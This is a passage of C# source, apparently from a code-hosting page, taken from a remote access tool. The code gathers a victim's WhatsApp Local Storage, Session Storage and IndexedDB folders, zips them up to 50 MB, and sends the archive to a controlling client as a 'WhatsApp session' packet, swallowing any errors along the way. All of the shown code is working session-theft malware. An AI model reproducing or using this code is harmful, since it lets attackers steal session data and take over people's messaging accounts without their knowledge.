|
||||
client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, "WhatsApp not installed or no session found.", (byte[])null));
|
||||
return;
|
||||
}
|
||||
string[] array = new string[3]
|
||||
{
|
||||
Path.Combine(text, "Local Storage"),
|
||||
Path.Combine(text, "Session Storage"),
|
||||
Path.Combine(text, "IndexedDB")
|
||||
};
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
using (ZipArchive zip = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true))
|
||||
{
|
||||
string[] array2 = array;
|
||||
foreach (string text2 in array2)
|
||||
{
|
||||
if (Directory.Exists(text2))
|
||||
{
|
||||
string fileName = Path.GetFileName(text2);
|
||||
AddDirectoryToZip(zip, text2, fileName, 52428800L);
|
||||
}
|
||||
}
|
||||
}
|
||||
byte[] array3 = memoryStream.ToArray();
|
||||
if (array3.Length == 0)
|
||||
{
|
||||
client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, "No WhatsApp session files found.", (byte[])null));
|
||||
return;
|
||||
}
|
||||
client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(true, "", array3));
|
||||
Program.Log("WhatsApp session sent: " + array3.Length + " bytes");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("WhatsApp session error: " + ex.Message);
|
||||
try
|
||||
{
|
||||
client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, ex.Message, (byte[])null));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void AddDirectoryToZip(ZipArchive zip, string sourceDir, string zipFolder, long maxBytes, int depth = 0)
|
||||
{
|
||||
if (depth > 8 || _totalBytes > maxBytes)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
string[] files = Directory.GetFiles(sourceDir);
|
||||
foreach (string text in files)
|
||||
{
|
||||
if (_totalBytes > maxBytes)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
FileInfo fileInfo = new FileInfo(text);
|
||||
if (fileInfo.Length > 10485760)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string entryName = zipFolder + "/" + Path.GetFileName(text);
|
||||
using Stream destination = zip.CreateEntry(entryName, CompressionLevel.Fastest).Open();
|
||||
using FileStream fileStream = new FileStream(text, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete);
|
||||
fileStream.CopyTo(destination);
|
||||
_totalBytes += fileInfo.Length;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
string[] files = Directory.GetDirectories(sourceDir);
|
||||
foreach (string text2 in files)
|
||||
{
|
||||
if (_totalBytes > maxBytes)
|
||||
{
|
||||
break;
|
||||
}
|
||||
string zipFolder2 = zipFolder + "/" + Path.GetFileName(text2);
|
||||
AddDirectoryToZip(zip, text2, zipFolder2, maxBytes, depth + 1);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user